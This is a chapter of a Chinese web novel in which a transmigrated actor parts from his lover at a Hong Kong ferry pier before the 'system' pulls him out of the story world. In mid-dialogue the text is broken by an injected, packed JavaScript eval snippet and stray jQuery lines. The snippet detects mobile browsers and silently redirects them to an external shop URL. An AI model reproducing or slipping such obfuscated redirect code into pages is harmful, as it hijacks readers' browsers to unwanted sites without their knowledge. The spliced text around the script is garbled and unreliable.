离开的时间定在了二十六号。
齐行山数着日子，不过他从来不在陈竟客面前撕日历。等人醒了，日历本撕的只剩一截纸茬。
这么一算，每一天就更快了。
陈竟客抽空去了剧组，把不用露手的部分断断续续拍完了，二十六幕一落，接着过海去拍剩下的部分，正好。
孙编剧拿完晚饭，蹲在剧组边准备拆，正巧看见陈竟客朝他反方向走。
“今天菜咸，你要是口淡的话可能吃不惯。”他提了一嘴，如果没记错的话，陈竟客在他们面前吃的东西也少。
梁导没少说他，这不吃那不吃，要成仙啊。
听了他的话，陈竟客却笑，答非所问：
“我不留剧组了，今天回去吃饭，有人来接我。”
孙编剧一愣，不是，谁问了？
他拍拍裤腿上的灰，眼见陈竟客带着笑走了。
他们剧组的仙人出门左拐，在街角边差点撞到一个年轻人。
那青年高大，看上去不是很好惹的样子，孙编剧赶忙上前两步，生怕陈竟客再出什么差错。
再进一次医院可怎么办啊。
青年偏头，把陈竟客的手捉住又放开。
无比自如。
“又等了多久？”
齐行山勾着他的指节，做了个不算牵手的动作：“你看到了，我也刚才到。”
行人太多两两三三的走，没什么人会注意到他们，想到要牵手，齐行山突然笑了：“会不会有小报发刊，说你在大街上和友人牵手，疑似陷入同性恋爱。”
“我还没有红到私底下做什么，能被花边小报扒。”陈竟客抱怨了句，扭过头一看，正巧与齐行山对视。
“能不能走路看路，不要看我。”
“再不看就来不及了，”齐行山轻描淡写，这几天他已经能装作若无其事了，“后天的票？”
“早上九点钟，先去码头坐轮渡。”
齐行山显然有点遗憾：“我还以为你是坐飞机，不过还是坐船好，船更安全一点。”
他当然没有坐过，隔壁李先生是文员，有出国的文秘工作时飞过几回。说是坐惯了就好，可是一听人要在几万米的天上飞，齐行山还是觉得不安全。
毕竟报纸总报道的不是这个人坐的飞机失事了，就是哪架客机遇难了。
飞过海和漂过海，陈竟客感觉都差不多：“都一样的。”
不过如果去机场，齐行山估计只能止步在航站楼了，如果坐船，甚至能跟着他到海边。
也就多了个问题，最后一面究竟要不要见呢。
“哪里一样了？”齐行山嘟囔着，把他肩上的包接到自己怀里。
“二十六号就是后天，那你明天有没有事，要不要出门？”
齐行山话里有话，特意低了头，放慢了语速让他每一句都听清楚。
低沉的男声贴着耳廓，所求为何再明显不过了。
“不出门，在家陪你。”
“好。”
齐行山笑得眉眼弯弯。
他索求无度了半个月，陈竟客为着要走，什么都没有拒绝过他，予取予求说怎么都好。
偶尔搂着人，齐行山有时也想，自己是不是太过分。
不过幸福短到交睫之间就能错过，他权当自己什么都不知道。
好在两个人谁都没有戳破虚幻的泡影。齐行山最爱看他披着自己的外套，敞着扣子靠在椅子上，微微喘气。
面上潮红未褪，非常孩子气地弹指，叩了叩鱼缸，惊起水面一片涟漪。
这种时候，他就觉得日子还能过下去。
最后两张日历被陈竟客亲手撕的，压在玻璃下面，他们的签名边上多了张破日历，齐行山在上面写了四个字。
今日离港。
一笔一画写的正，陈竟客路过看了一眼，即刻被人扣着腰拉过去，接了个绵长的吻。
“衣服还不换好，你就这么敞着出门。”
“我就这么穿着，昭告给天下看。”陈竟客还有闲心和他开玩笑，任由人把他的扣子一粒一粒扣好。
领口的位置，纽扣线头有些松，齐行山往外拉了点，差点把东西扯掉了。
按好最后一颗，陈竟客仰面望着他，眼里笑意温温柔柔，似乎真是舍不得。
“走吧。”齐行山拿了他的包，继而找还有没有别的东西要带走，“看天感觉今天要下雨，你带不带伞。”
“不带。”陈竟客拒绝的很快。
什么关于这间屋子，关于齐行山的东西他都没带走。带了一身痕迹，可估计漂洋过海几天就能消失的干干净净。
“那动身吧。”
陈竟客先下了楼，把钥匙还给阿花姐，后者抬眼：“走了？”
“今天走，这段时间多谢您照顾了。”
女人的目光在他脸上打转，齐行山下楼了，站在陈竟客身边，两个人不论性别立在这里，乍一眼看去，确实还算得上登对。
她嘴唇动了动，本想说一句“一路平安”，话还没说出口，陈竟客匆匆对她点了头。
赶时间要走，齐行山握住他的手腕，紧接着步伐跟了出门。
*
来什么样走还是什么样，几个月和梦似的。陈竟客摸了把脸，鼻尖逐渐能嗅到海风的腥气。
坐了两道摆渡车。陈竟客拿了船票，齐行山抱着他的行李一路跟，大有真的要跟到岸边的架势。
陈竟客瞥了眼周围，道：“送到这儿就可以了。”
坐轮渡的人很多，老旧的塑料椅被形形色色的人靠过，扭曲到变了形，大厅的墙似乎重新刷了遍，看上去却白的古怪。
齐行山小声说：“我想送你到船上，看着你走。”
目送陈竟客离开。
这么一想，渡轮好像才是最残忍的交通工具了，飞机眨眼间就能消失，火车十几秒钟也看不见了，唯独只有船——
慢慢悠悠往海的对面开，每分每秒都在提醒人：你等的人已经走了。
陈竟客明白这个道理，事先和他讲好了：“那你看我上船就走，我不回头，你也不准回头看。”
“好。”齐行山答他。
“再说了，拖拖拉拉我又不是不回来，”他已经能极为顺口地给自己找理由，“到了那边，你给我寄信好不好。”
“找到好看的邮票，也塞进信封。”陈竟客用手比划了下，拇指和食指搓了搓，拉开一小截距离，“我要这么厚的信。”
“写了你真的收吗？”齐行山问他。
“收啊。”
他又在强颜欢笑。
这是他第一次对副本的倒计时感受的这么，真切。看着对方的眼睛，心里泛上的不是前两个副本那种催命般的想离开。
冲动涌上心头的一瞬间，他确实很想和齐行山就这么逃到天涯海角，什么都不在乎，也不要离开的在一起。
多大人了，还这么幼稚。
陈竟客久久没有动，听着陌生的粤语播报，齐行山絮絮和他念叨着什么，他也一个字没有听进去。
“你在看什么，走神。”齐行山抓住他心不在焉，不满意地凑过来。
女声播报已经到了这班轮次。
陈竟客这才真正回神，视线落在齐行山脸上。
“陈竟客，你要走了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948327|213085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”齐行山轻声提醒他。
他撑着两条腿，跟众人往检票口涌去。
出了等待处，咸湿的海风扑面而来，齐行山不知怎么的真混进队伍来了，凑在他边上，两人的外套都被风吹的鼓起。
人挤人人撞人，梁导给他一张船票，算不上很好的舱次。身边都是混乱的味道，大包小包的行李挤在一块。
不知道多少人是失意而归，还有人是不是和陈竟客一样，回去追求自己的远大前程。
“滴————”
汽笛声悠扬。
顺着海流驶进港的船确实很慢，慢慢靠在岸边，齐行山在这里停住，最后一次拽了拽陈竟客的衣袖。
临别千言万语压在心上，彼此冲突着向往外蹦，齐行山堵的喉间生疼，还想挤出一个笑给陈竟客看。
他想陈竟客记得他最后一眼是笑着的。
“哥，保重。”
他说的很慢，每个字却都没有斟酌，一股脑冲出来，最后只剩三个字。再多说，齐行山觉得自己现在立刻就要后悔。
讲完最后的话，他就要留在港城了。
讲完最后的话，他确实已经后悔了。
他也不想狼狈，背过身去。陈竟客依照诺言，深深看了他一眼，转身登上了阶梯。
“宿主请准备。”
电子音依旧响起。
“副本《回南天》已完成，将在五秒后自动退出世界。”
五。
陈竟客爬上了楼梯，前面的女人抱着小孩，手臂上挎了个大蛇皮袋，后面的男人垫脚，抱怨了几句：“快点啊，走不走啊前面的，那么慢干什么！”
“催什么催，拿了票慢慢来，赶着投胎是不是？”
四。
有人夹在中间劝架：“好了好了消停点，前面的劳驾抬抬脚，走快一点。”
陈竟客被人流拥挤着困难地往前走，铁质的楼梯往上踩一步，响一路。
三。
陈竟客有种莫名的冲动。
在他大二那年，文学史的专业课老师念了几面PPT，课间的时候，目光扫过台下昏昏欲睡的学生，额外分享了一个自己喜欢的神话故事。
毕业这么多年，陈竟客忘了老师的脸，忘了讲的课什么内容，甚至忘记了这门课他最后有没有挂。
他记得老师喝了口水，讲的是欧律狄刻和俄尔普斯的故事。琴声动人的俄尔普斯打动了冥王，换来了把死去的妻子带回人间的机会。
代价只有一个，便是在离开之前，俄尔普斯不可以回头看欧律狄刻，一眼也不行。不然他们就一定会阴阳两隔。
马上迈出冥界的最后一步，琴手还是没忍住，扭头看了一眼。
彼时老师长叹一声，问台下的学生怎么想。
差一步得到美满，就差最后一点，他们就能逃回人间的世界，一直幸福下去。可为什么还是要转头，打破即有的希望。
陈竟客之前也不懂。
堵在楼梯口之际，咸涩的海风把他吹回现在，吹到夹在人群中的这一秒。
二。
他艰难地拔出自己的身子，被人拥堵着往上赶，逆着人流，最后还是身不由己但随心地往后看了一眼。
显然，违背誓言的不止他一个人。
齐行山守在岸边，目光牢牢锁在他身上，隔的太远，隐隐约约无法对视。
他只知道，齐行山是在看着他的。
他们亲手打破了未来幸福的梦境。
一。
世界立刻清净了，人声散去，海风的吹拂触感统统消失了干净。
准备空间里，徒留陈竟客怔怔站在原地。